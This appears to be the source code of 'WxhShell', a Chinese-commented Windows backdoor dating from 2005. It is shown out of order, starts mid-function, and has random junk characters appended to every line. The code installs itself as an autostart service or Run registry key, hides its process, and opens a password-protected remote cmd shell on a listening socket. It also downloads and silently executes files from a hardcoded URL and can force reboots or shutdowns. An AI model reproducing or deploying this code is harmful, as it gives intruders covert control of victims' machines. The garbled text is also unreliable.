    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -qpM 6t  
    if(Boot(SHUTDOWN)) '%*hs8s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6Iz!_  
    else { pI>GusXg  
    closesocket(wsh); n: {f\  
    ExitThread(0); <4/q5*&  
    } |q\i, }  
    break; F* Yx1vj  
    } s+G( N$0U  
  // 获取shell dpt P(H  
  case 's': { ZGCp[2$  
    CmdShell(wsh); \RFA?PuY  
    closesocket(wsh); /; 21?o  
    ExitThread(0); &f?JtpB  
    break; NxK.q)tj6  
  } HAs/f#zAk6  
  // 退出 1L\r:mx3  
  case 'x': { |N 2r?b/g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q$}J/w(,  
    CloseIt(wsh); ~=oCou`XF  
    break; Ip8:~Fl]  
    } @j%@Z  
  // 离开 q1r-xsjV=  
  case 'q': { _)3C_G1!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fJ\ u8  
    closesocket(wsh); q%/.+g2-\  
    WSACleanup(); ('d,Sh  
    exit(1); JlEfUg#*  
    break; Cgf4E{\U!  
        } R /_vJHI  
  } $!z.[GL  
  } P(C5@x(Z  
Tpkt'|8  
  // 提示信息 G#uB%:)&0u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @KZW*-"  
} EF=5[$ u  
  } 07ppq?,y  
puEu)m^  
  return; n}4q2x"  
} 9~K+h/  
V$u:5"qu0  
// shell模块句柄 UKB/>:R  
int CmdShell(SOCKET sock) 9 uX 15a  
{ />>KCmc  
STARTUPINFO si; RcO.1@2  
ZeroMemory(&si,sizeof(si)); ke/4l?zs  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eU]I !pI<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F)/4#[  
PROCESS_INFORMATION ProcessInfo; N1vA>(2A  
char cmdline[]="cmd"; ^EmePkPI  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iT{[zLz>1  
  return 0; I;, n|o  
} *F(<:3;2  
ZHoYnp-~z  
// 自身启动模式 ~= otdJ  
int StartFromService(void) 8e`HXU(A  
{ .&>3nu  
typedef struct >f|0# *  
{ [w+1<ou;j  
  DWORD ExitStatus; u{l4O1k/c  
  DWORD PebBaseAddress; UCTc$3  
  DWORD AffinityMask; 1$m{)Io2(  
  DWORD BasePriority; 2) 2:KX  
  ULONG UniqueProcessId; c <Q*g  
  ULONG InheritedFromUniqueProcessId; 7c@5tCcC-  
}   PROCESS_BASIC_INFORMATION; :kjs: 6f]  
e\*(F3r  
PROCNTQSIP NtQueryInformationProcess; '?X?'_3  
I0^oaccM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u:wijkx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xKepZ  
4"^W/Zo  
  HANDLE             hProcess; X@)'E9g5:  
  PROCESS_BASIC_INFORMATION pbi; Sj8fo^K50  
aan(69=jz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p}X *HJq$  
  if(NULL == hInst ) return 0; 5,Co(K  
jz\>VYi(7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @;S)j!m`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q+w] Xs;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fM*aZc*Y  
eqWs(`  
  if (!NtQueryInformationProcess) return 0; <9;X1XtpI  
Ngm/5Lc  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8'v:26   
  if(!hProcess) return 0; n# FkgXP$  
._.Qf<7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Yb:F,d-Ya  
swLNNA.  
  CloseHandle(hProcess); 'Q.5` o  
|Fq\%y#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k#p6QA hS  
if(hProcess==NULL) return 0; 'RV wxd  
A43[i@o  
HMODULE hMod; Kc>Rd  
char procName[255]; p DU+(A4>  
unsigned long cbNeeded; VArMFP)cz  
)"E1/$*k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %GMCyT  
C MGDg}  
  CloseHandle(hProcess); ;H?tcb*  
WO^]bR  
if(strstr(procName,"services")) return 1; // 以服务启动 vsYbR3O  
_m%Ab3iT~  
  return 0; // 注册表启动 9.6ni1a'  
} )2:U]d%pk  
gN<J0c)  
// 主模块 Scmew  
int StartWxhshell(LPSTR lpCmdLine) /-=h|A#Kh  
{ V.ae 5@;  
  SOCKET wsl; HisH\z/i5)  
BOOL val=TRUE; Enp;-wG:-  
  int port=0; 7--E$ !9O,  
  struct sockaddr_in door; h6tYy_(G  
tC7 4=  
  if(wscfg.ws_autoins) Install(); =>GGeEL  
tS,AS,vy]  
port=atoi(lpCmdLine); e8z?) 4T  
<DEu]-'>  
if(port<=0) port=wscfg.ws_port; $bZ5@)E  
*I k/Vu%;  
  WSADATA data; 3i9~'j;F3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jgfr_"@A  
e&Z ?I2J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A3.pz6iT>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1h{7dLA  
  door.sin_family = AF_INET; 5/HkhT yj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (/i|3P  
  door.sin_port = htons(port); /In=u6D O  
=}SLQdT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Sa:;j4  
closesocket(wsl); )k4&S{=  
return 1; ~!/agLwY  
}  ?H8dyQ5"  
Z07n>|WF-  
  if(listen(wsl,2) == INVALID_SOCKET) { LvL2[xh%&  
closesocket(wsl); 7<X!Xok  
return 1; lKS 2OOYC`  
} Yv"B-oy  
  Wxhshell(wsl); NK%Ok  
  WSACleanup(); FbW$H]C$  
;i ?R+T  
return 0; !H6X%hlk  
bj?=\u  
} <J.q[fd1*  
(Hs,Tj  
// 以NT服务方式启动 'GLpSWL+*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6Z@T /"mU(  
{ \[wbJ  
DWORD   status = 0; Ghar hJ>v  
  DWORD   specificError = 0xfffffff; d8p5a C+E  
qGP}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zV"'-iP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <." @H<-`*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &@D\4b,?nm  
  serviceStatus.dwWin32ExitCode     = 0; z<9Llew^e  
  serviceStatus.dwServiceSpecificExitCode = 0; '7.4!I0'  
  serviceStatus.dwCheckPoint       = 0; ( F4c0  
  serviceStatus.dwWaitHint       = 0;  gq} c  
g)IW9q2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); UM^~a$t  
  if (hServiceStatusHandle==0) return; 8<=sUO  
0*AXd=)"*  
status = GetLastError(); qga?-oz,<6  
  if (status!=NO_ERROR) R|_._Btu!  
{ r,P`$-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; NT9|``^Z  
    serviceStatus.dwCheckPoint       = 0; *thm)Mn  
    serviceStatus.dwWaitHint       = 0; bE3mOml  
    serviceStatus.dwWin32ExitCode     = status; 9A9T'g)Du  
    serviceStatus.dwServiceSpecificExitCode = specificError; &/g^J\0M)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ss\FSEN!/  
    return; bP4}a!t+n  
  } 4"\%/kG  
y-"QY[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :kd]n$]  
  serviceStatus.dwCheckPoint       = 0; v8C4BuwA  
  serviceStatus.dwWaitHint       = 0; {~XnmBs  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "h8fTB\7S\  
} +R;s< pZ^  
 EIPXq  
// 处理NT服务事件,比如:启动、停止 y43ha  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v <OZ # L$  
{ a`LkP%  
switch(fdwControl) D?4bp'0 3  
{ 8U!$()^?  
case SERVICE_CONTROL_STOP: d *#.(C9^  
  serviceStatus.dwWin32ExitCode = 0; 7&w|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'UC1!Z  
  serviceStatus.dwCheckPoint   = 0; b|\dHi2F T  
  serviceStatus.dwWaitHint     = 0; bo@, B  
  { z8xBq%97us  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wmx3@]<  
  } <*o V-A  
  return; 4^:$|\?]  
case SERVICE_CONTROL_PAUSE: (ki= s+W-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0!tuUn  
  break; rU 1Ri  
case SERVICE_CONTROL_CONTINUE: ACpecG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "|V}[ 2  
  break; 8O[l[5u&  
case SERVICE_CONTROL_INTERROGATE: be?Bf^O>  
  break; 5gb:,+  
}; eDvh3Y<D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `oM'H+  
}  "+Sq}WR  
_z9~\N/@[  
// 标准应用程序主函数 F 6C7k9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XC O8A\  
{ "akAGa!V+  
Zx7aae_{  
// 获取操作系统版本 c6SXz%'k  
OsIsNt=GetOsVer(); jINI<[v[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )UyJ.!Fly  
,T;D33XV  
  // 从命令行安装 zMd><UQP{  
  if(strpbrk(lpCmdLine,"iI")) Install(); DgB;6Wl  
RF~G{wz  
  // 下载执行文件 0?O_]SD  
if(wscfg.ws_downexe) { oe!4ng[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SwM=?<  
  WinExec(wscfg.ws_filenam,SW_HIDE); XWq"_$&LF  
} d1'= \PYr  
5hTScnL%  
if(!OsIsNt) { `7[!bCl  
// 如果时win9x,隐藏进程并且设置为注册表启动 @jrxbo;5  
HideProc(); ^)C#  
StartWxhshell(lpCmdLine); ew]G@66  
} 7nP{a"4_  
else W_,7hvE?"H  
  if(StartFromService()) y9w,Su2  
  // 以服务方式启动 }w8yYI  
  StartServiceCtrlDispatcher(DispatchTable); zL'S5'<F|  
else N>1d]DrQR  
  // 普通方式启动 ef/43+F^x  
  StartWxhshell(lpCmdLine); 1/K1e$r  
2<:dA >1  
return 0; !YZKa-  
} ^Y5I OX:  
MH0wpHz  
qVH.I6)  
-Kcjnl92i  
=========================================== 9}Ge@a<j  
s)KlKh  
4t3>`x 7  
s!>9od6^  
}Z< Sca7  
(@;^uVJP  
" < RtyW  
m9+?>/R  
#include <stdio.h> sf:IA%.4t  
#include <string.h> bm4Bq>*=U  
#include <windows.h> kE|x'(x  
#include <winsock2.h> T8Q_JQ  
#include <winsvc.h> mIqm/5  
#include <urlmon.h> '?g&);4)k-  
0Ng?U+6  
#pragma comment (lib, "Ws2_32.lib") M^>l>?#rl  
#pragma comment (lib, "urlmon.lib") lcgG5/82  
8si{|*;hL  
#define MAX_USER   100 // 最大客户端连接数 VT=gb/W6)a  
#define BUF_SOCK   200 // sock buffer PsD)]V9%:  
#define KEY_BUFF   255 // 输入 buffer 0rm(i*Q  
0WYu5|  
#define REBOOT     0   // 重启 '2|P-/jU  
#define SHUTDOWN   1   // 关机 Mc!LC .8  
(U_HX2f  
#define DEF_PORT   5000 // 监听端口 VJ_fA}U  
,KU%"{6  
#define REG_LEN     16   // 注册表键长度 'hV(1Mw  
#define SVC_LEN     80   // NT服务名长度 Upcx@zJ  
R0LWuE%eD  
// 从dll定义API 1&<o3)L:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); axq~56"7E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MUGoW;}v )  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); RDjw|V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lnm@DWhf  
nwC*w`4  
// wxhshell配置信息 J@}PySq  
struct WSCFG { e4tC[6;  
  int ws_port;         // 监听端口 t%0c$c  
  char ws_passstr[REG_LEN]; // 口令 Lo5pn  
  int ws_autoins;       // 安装标记, 1=yes 0=no USHQwn)%  
  char ws_regname[REG_LEN]; // 注册表键名 d 2^/  
  char ws_svcname[REG_LEN]; // 服务名 K_-m:P  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hZ!kh3@:`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "?lz[K>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 GIn%yB'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {2q0Ko<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8eYEi  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =tP^vgfQ  
 + #E?)  
}; /e*fsQ>M:  
#y[omla8  
// default Wxhshell configuration c h((u(G  
struct WSCFG wscfg={DEF_PORT,  7Z<GlNv  
    "xuhuanlingzhe", <W)F{N?  
    1, MNb9~kM  
    "Wxhshell", x$D^Bh,  
    "Wxhshell", 9yWf*s<  
            "WxhShell Service", I,HtW),  
    "Wrsky Windows CmdShell Service", e6 x#4YH  
    "Please Input Your Password: ", .kMnq8u  
  1, )N607 Fa-  
  "http://www.wrsky.com/wxhshell.exe", 5MKM;6cA&p  
  "Wxhshell.exe" 2oRwDg&7|  
    }; z!18Jh  
9=}[~V n  
// 消息定义模块 TW70z]B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [{Q$$aV1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; udIm}jRA"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \Q1&w2mw  
char *msg_ws_ext="\n\rExit."; q9{)nU  
char *msg_ws_end="\n\rQuit."; =5V7212  
char *msg_ws_boot="\n\rReboot..."; MI^$df  
char *msg_ws_poff="\n\rShutdown..."; "PO8Q  
char *msg_ws_down="\n\rSave to "; AI#.+PrC{/  
H$ g*  
char *msg_ws_err="\n\rErr!"; 1#Hr{&2  
char *msg_ws_ok="\n\rOK!"; !E_|Zp]up  
qSG0TWD!pq  
char ExeFile[MAX_PATH]; IYXN}M.=  
int nUser = 0; ;aX?K/  
HANDLE handles[MAX_USER]; \%.oi@A  
int OsIsNt; jYFmL_{  
Sy4|JM-5  
SERVICE_STATUS       serviceStatus; #s15AyKz5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3 H5  
_)!*,\*`{  
// 函数声明 ?Tu=-ppw  
int Install(void); N-knhA  
int Uninstall(void); " zD9R4\X.  
int DownloadFile(char *sURL, SOCKET wsh); SK^(7Ws~0  
int Boot(int flag); \AA9 m'BZ  
void HideProc(void); NH}o`x/  
int GetOsVer(void); _>kc:  
int Wxhshell(SOCKET wsl); XMT@<'fI  
void TalkWithClient(void *cs); y 5=r r3%v  
int CmdShell(SOCKET sock); !>80p~L  
int StartFromService(void); "`cPV){]  
int StartWxhshell(LPSTR lpCmdLine); b=pk;'-  
g1"Z pD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zwJ&K;"y(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J'7;+.s(  
GEh(pJ  
// 数据结构和表定义 VKX|0~  
SERVICE_TABLE_ENTRY DispatchTable[] = x=Oy 6"  
{ e@TwZ6l  
{wscfg.ws_svcname, NTServiceMain}, "J2q|@.  
{NULL, NULL} 5B2p_$W#  
}; jgG9?w)|u  
8F`8=L NO  
// 自我安装 GiEt;8  
int Install(void) As,e.V5!  
{ Ut;4`>T  
  char svExeFile[MAX_PATH]; |UMm>.\'  
  HKEY key; t8h*SHD9  
  strcpy(svExeFile,ExeFile); ]&q<O0^'  
\4G9YK-N>  
// 如果是win9x系统,修改注册表设为自启动 (l-= /6-  
if(!OsIsNt) { Zl3e=sg=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |3!)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ha=2isq  
  RegCloseKey(key); 2ww H3}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ryh"/lu[B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ss-6b^  
  RegCloseKey(key); eA-oqolY  
  return 0; nK?S2/o#A  
    } C~@m6K  
  } &Mudu/KTr  
} K/f-9hE F  
else { 5|K[WvG@Co  
"G.X=, V  
// 如果是NT以上系统,安装为系统服务 3Wv^{|^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n5.sx|bI?  
if (schSCManager!=0) .udLMS/_  
{ >c<xy>N  
  SC_HANDLE schService = CreateService UdM2!f  
  ( ./Ek+p*96H  
  schSCManager, 6o3#<ap<  
  wscfg.ws_svcname, RO/(Ldh  
  wscfg.ws_svcdisp, _8 0L/92  
  SERVICE_ALL_ACCESS, bEQ-? X%7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c!7WRHJE_a  
  SERVICE_AUTO_START, oe 6-F)+  
  SERVICE_ERROR_NORMAL, QkD ~  
  svExeFile, 6Z J-oT!.  
  NULL, 7kE+9HmfMk  
  NULL, S\A0gOL^  
  NULL, xRXvTNEg  
  NULL, un-%p#  
  NULL H{=G\N{  
  ); d<Q%h?E  
  if (schService!=0) ]3f[v:JQ  
  { &;P\e  
  CloseServiceHandle(schService); u^{p' a'  
  CloseServiceHandle(schSCManager); KRT&]2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fd>{ UyU  
  strcat(svExeFile,wscfg.ws_svcname); -k8sR1(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =d^hiR!GN  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MQN~I^v3  
  RegCloseKey(key); J@_^]  
  return 0; \X %FM"r  
    } ``VE<:2+  
  } i.)n#@M2  
  CloseServiceHandle(schSCManager); !<=zFy[J.9  
} n(eo_.W2|  
} Jk&!(YK&  
pY )x&uM!  
return 1; z`E=V  
} b5^>QzgD  
XL.f `N.O  
// 自我卸载 <iU@ M31  
int Uninstall(void) np6G~0Y`  
{ 2v4K3O60G  
  HKEY key; ^ IuhHP  
a?r$E.W'&  
if(!OsIsNt) { r2.w4RMFua  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { klFS3G  
  RegDeleteValue(key,wscfg.ws_regname); sV{\IgH/x  
  RegCloseKey(key); r1<*=Fs=>>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &Y=~j?~Xm  
  RegDeleteValue(key,wscfg.ws_regname); ^$lZ  
  RegCloseKey(key); $u~ui@kB  
  return 0; Q> y!  
  } 0'pB7^y  
} ]7W!f 2@  
} DAWF =p]  
else { q 9xA.*  
^#Q-?O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $G"\@YC<  
if (schSCManager!=0) "ckK{kS4~  
{ wW\@^5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P* 0kz@  
  if (schService!=0) {zm8`  
  { A"b31*_  
  if(DeleteService(schService)!=0) { qQ3Q4R\  
  CloseServiceHandle(schService); q/I( e  
  CloseServiceHandle(schSCManager); ;2`6eyr  
  return 0; dB4ifeT]  
  } -A w]b} #v  
  CloseServiceHandle(schService); 7JQ4*RM  
  } B?8*-0a'[  
  CloseServiceHandle(schSCManager); 8Z\q)T  
} c8uw_6#r(D  
} *,lDo9  
:g63*d+/G  
return 1; 67Pmnad  
} Lv%t*s2$/  
GyQFR?  
// 从指定url下载文件 /K&9c !]$C  
int DownloadFile(char *sURL, SOCKET wsh) O5p$ A @  
{ ~s HdOMw  
  HRESULT hr; ky[Cx!81C  
char seps[]= "/"; oOI0q_bf  
char *token; z[_Y,I  
char *file; #1'q'f:7 &  
char myURL[MAX_PATH]; (b#M4ho*f  
char myFILE[MAX_PATH]; }'x)e  
Z!|r>  
strcpy(myURL,sURL); N^oP,^+U  
  token=strtok(myURL,seps); P`Ku. ONQ  
  while(token!=NULL) Fh)xm* u(  
  { jH<Sf: Y(  
    file=token; SEzjc ~@3  
  token=strtok(NULL,seps); ,ESli/6  
  } f]%S FQ+  
G2I%^.s  
GetCurrentDirectory(MAX_PATH,myFILE); 3R%JmLM+R9  
strcat(myFILE, "\\"); w(ZZTVW-  
strcat(myFILE, file); R)Mkt8v  
  send(wsh,myFILE,strlen(myFILE),0); "0;WYw?  
send(wsh,"...",3,0); 7:vl -ZW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X(BxC<!D.  
  if(hr==S_OK) nN<,rN{ :  
return 0; z3S"1L7  
else =h-E N_[  
return 1; \D z? h  
/FXvrH(  
} F6yFKNK!n  
pI K:$eN!/  
// 系统电源模块 fG>3gS6&  
int Boot(int flag) *Ts$Hj[  
{ Q}B]b-c+E  
  HANDLE hToken; \a;xJzc9  
  TOKEN_PRIVILEGES tkp; -avxH?;?7  
>e6OlIW  
  if(OsIsNt) { Iga +8k  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y2l;NSWU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); '1 2*'Q+{+  
    tkp.PrivilegeCount = 1; dX1jn;7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +?"F=.SZ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); KQ]sUNH  
if(flag==REBOOT) { ZXb{-b?[`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M 1 m]1<  
  return 0; Xv!Gg6v6  
} fWEQ vQ  
else { M("sekL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w#A\(z%;x  
  return 0; i,;eW&  
} z-gMk@l  
  } Z9M$*Zp  
  else { )Hin{~h  
if(flag==REBOOT) { rMIX{K)'f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [UzacXt  
  return 0; B6IKD  
} %p)&mYK{  
else { -( p%+`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gkxHfm  
  return 0; *l =f=  
} \f4rA?+f  
} (kY  0<  
S"G(_%  
return 1; uQ_C<ii"W  
} s&V sK#  
7/hn%obC  
// win9x进程隐藏模块 n^{h@u  
void HideProc(void) n5"oXpcIx  
{ J7",fb  
Yu" Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $k&v juB.  
  if ( hKernel != NULL ) VV1sadS:S`  
  { &D{!zF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZlC+DXg#S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Hm'fK$y(  
    FreeLibrary(hKernel); b3>zdS]Q  
  } ]\|2=  
iupkb  
return; MQw}R7  
} %+Nng<_U\T  
{~9HJDcM  
// 获取操作系统版本 e{87n>+,  
int GetOsVer(void) n;:.UGl9.  
{ .+XK>jl +  
  OSVERSIONINFO winfo; r@r*|50  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^(+q 1O'  
  GetVersionEx(&winfo); cOdRb=?9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b1#C,UWK  
  return 1; rAHP5dx:  
  else oZ/"^5  
  return 0; GO2q"a  
} Pi5MFw'v  
!\{2s!l~  
// 客户端句柄模块 r3' DXP  
int Wxhshell(SOCKET wsl) ?F]P=S:x  
{ Xux[  
  SOCKET wsh; |(W wh$  
  struct sockaddr_in client; rz&V.,s  
  DWORD myID; iB W:t  
XZk%5t|t  
  while(nUser<MAX_USER) "Ua-7Q&A  
{ /dg?6XT/  
  int nSize=sizeof(client); Rkk`+0K7$J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j~\FDcG*ed  
  if(wsh==INVALID_SOCKET) return 1; H?;+C/-K`_  
dpS@:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >H;m[  
if(handles[nUser]==0) Mx, 5  
  closesocket(wsh); 7Dssr [  
else Eu&$Rq}  
  nUser++; ) q'D9x9  
  } '+$r7?dKP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p2l@6\m\  
Ih5Y7<8b~  
  return 0; %Bm{ctf#)  
} k]:`<`/I_  
".|8(Y  
// 关闭 socket a"xRc  
void CloseIt(SOCKET wsh) lU Zj  
{ T7mT:z>:  
closesocket(wsh); m[y~-n  
nUser--; .{ILeG  
ExitThread(0); p#4*:rpq4  
} |=:@<0.'  
X:`=\D  
// 客户端请求句柄 bQI :N  
void TalkWithClient(void *cs) ]7k:3"wH  
{ 8wd["hga<%  
9+m>|"F0  
  SOCKET wsh=(SOCKET)cs; |7,$.MK-@  
  char pwd[SVC_LEN];  y_[VhZ%  
  char cmd[KEY_BUFF]; cu5}(  
char chr[1]; mB0`>?#i  
int i,j; "Y^Fn,c  
"dv\ 9O  
  while (nUser < MAX_USER) { MwQtf(_  
NMw5ixl  
if(wscfg.ws_passstr) { @eBo7#Zr  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \M.?*p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4Yok,<  
  //ZeroMemory(pwd,KEY_BUFF); dbEXl m  
      i=0; -}T7F+  
  while(i<SVC_LEN) { K'8?%&IQ  
-,/6 Wn'j  
  // 设置超时 # {k$Fk  
  fd_set FdRead; Gl{'a1  
  struct timeval TimeOut; o92BGqA>&  
  FD_ZERO(&FdRead); }T}c%p  
  FD_SET(wsh,&FdRead); emJZ+:%  
  TimeOut.tv_sec=8; o-_,l J7o^  
  TimeOut.tv_usec=0; *$VeR(QN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); '.pGkXyQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]5*H/8Ke7  
-ys/I,}<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #gWok'ZcR  
  pwd=chr[0]; rLD1Cpeb,w  
  if(chr[0]==0xd || chr[0]==0xa) { D8w.r"ne  
  pwd=0; ?\4kV*/Cqz  
  break; $Nvox<d0  
  } )2W7>PY  
  i++; -u~:Gd*l0  
    } ?S=y>b9R  
:+9. v  
  // 如果是非法用户,关闭 socket k "7,-0gz  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d/oD]aAEr  
} h8.(Q`tli  
0 nI*9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dQH8s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {7IZN< e  
{be|G^.c  
while(1) { A`vRUl,c=  
TGG=9a]m  
  ZeroMemory(cmd,KEY_BUFF); mg70%=qM0f  
j4@6`[n:  
      // 自动支持客户端 telnet标准   *R4=4e2#S  
  j=0; 2XBHo (  
  while(j<KEY_BUFF) { BH}rg,]G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G^<m0ew|  
  cmd[j]=chr[0]; 4s>L]! W$8  
  if(chr[0]==0xa || chr[0]==0xd) { *}HDq(/>w  
  cmd[j]=0; F @t\D?  
  break; w"M!**bP  
  } 4M>]0%3.D  
  j++; mrsN@(X0  
    } 3\ )bg R:  
%|/\Qu  
  // 下载文件 d\A7}_r*x  
  if(strstr(cmd,"http://")) { ~Odclrs  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &BKnJ {,H  
  if(DownloadFile(cmd,wsh)) U[yA`7Zs}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~QE?GL   
  else c2GTN"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g:c?%J  
  } YyYp-0#  
  else { 6x!iL\Y~  
